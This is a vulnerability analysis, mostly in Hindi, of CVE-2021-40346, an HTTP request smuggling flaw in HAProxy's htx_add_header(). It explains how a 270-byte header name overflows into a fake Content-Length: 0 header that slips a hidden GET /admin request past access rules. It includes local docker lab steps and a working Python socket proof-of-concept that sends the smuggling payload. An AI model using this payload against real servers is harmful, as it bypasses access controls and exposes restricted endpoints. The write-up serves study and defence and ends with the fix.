
WHS CVE-2021-40346 분석
htx_add_header() फ़ंक्शन में HTTP हेडर को आंतरिक HTX प्रारूप में संग्रहीत करते समय हेडर नाम की लंबाई को सत्यापित न करने के कारण उत्पन्न होती है।http-request आधारित पथ एक्सेस नियंत्रण नियम (जैसे path_beg /admin) सेट होना चाहिए — यह नियम बायपास का लक्ष्य होगा।HAProxy जब HTTP हेडर को आंतरिक HTX प्रारूप में संग्रहीत करता है, तो वह हेडर नाम की लंबाई को 8-बिट (अधिकतम 255) फ़ील्ड में रिकॉर्ड करता है। htx_add_header() फ़ंक्शन में इस लंबाई को सत्यापित करने का तर्क गायब है, जिससे 256 बाइट्स या उससे अधिक का नाम भेजने पर पूर्णांक अतिप्रवाह होता है और अतिप्रवाहित बिट आसन्न मान लंबाई फ़ील्ड में प्रवाहित हो जाता है।
यदि हेडर का नाम ठीक 270 बाइट्स बनाया जाए (270 mod 256 = 14), तो HAProxy इसे "Content-Length" (14 वर्ण) समझने की भूल करता है और अतिप्रवाह से दूषित 1 बाइट को मान के रूप में पढ़ता है। यदि उस स्थान पर "0" रखा जाए, तो एक नकली Content-Length: 0 हेडर बन जाता है।
इस नकली हेडर के बाद वास्तविक Content-Length हेडर भेजने पर, HAProxy डुप्लिकेट हेडर में से पहले वाले (नकली 0) को अपनाता है और वास्तविक मान को त्याग देता है। इस दौरान क्लाइंट से वास्तविक बॉडी को पढ़ने की प्रक्रिया मूल टेक्स्ट के अनुसार सटीक रूप से काम करती है, लेकिन बैकएंड को भेजे गए हेडर में नकली मान (0) दर्ज होता है, जिससे "वास्तव में प्राप्त बॉडी का आकार" और "बैकएंड को सूचित आकार" के बीच असमानता उत्पन्न होती है।
बैकएंड सूचित मान (0) पर विश्वास करके यह निर्णय लेता है कि अनुरोध समाप्त हो गया है, और फिर मूल बॉडी डेटा को पूरी तरह से एक नए अनुरोध के रूप में पुनर्व्याख्या करता है। HAProxy का ACL इससे पहले केवल प्रारंभिक अनुरोध पंक्ति की जाँच करता है, इसलिए छिपा हुआ दूसरा अनुरोध जाँच के दायरे में आए बिना बैकएंड तक पहुँच जाता है। परिणामस्वरूप, सभी सेट http-request ACL बायपास हो जाते हैं।
docker compose up --build -d चलाकर भेद्य परीक्षण वातावरण चलाएँ (haproxy ver.2.2.16 / backend: gunicorn)
नीचे दिए गए कोड द्वारा HAProxy और बैकएंड सर्वर सक्रियण का परीक्षण करें
until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
echo "तैयार"
python3 poc.py --host 127.0.0.1 --port 8080 poc कोड चलाएँ
docker logs cve-2021-40346-backend --tail 5 बैकएंड एक्सेस लॉग के माध्यम से जाँचें कि /admin अनुरोध वास्तव में संसाधित हुआ या नहीं
import socket
HOST = "127.0.0.1"
PORT = 8080
# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255 # 14 + 1 + 255 = 270 bytes
hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: abc.com\r\n"
+ fake_name + b":\r\n"
+ b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
b"\r\n"
+ hidden_request
)
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(payload)
print(s.recv(4096).decode(errors="replace"))
जैसा कि ऊपर दिखाया गया है, बैकएंड पर प्रतिबंधित admin के लिए GET अनुरोध संसाधित हुआ
htx_add_header() में नाम/मान लंबाई सत्यापन तर्क जोड़ने से मूल समाधान हुआ)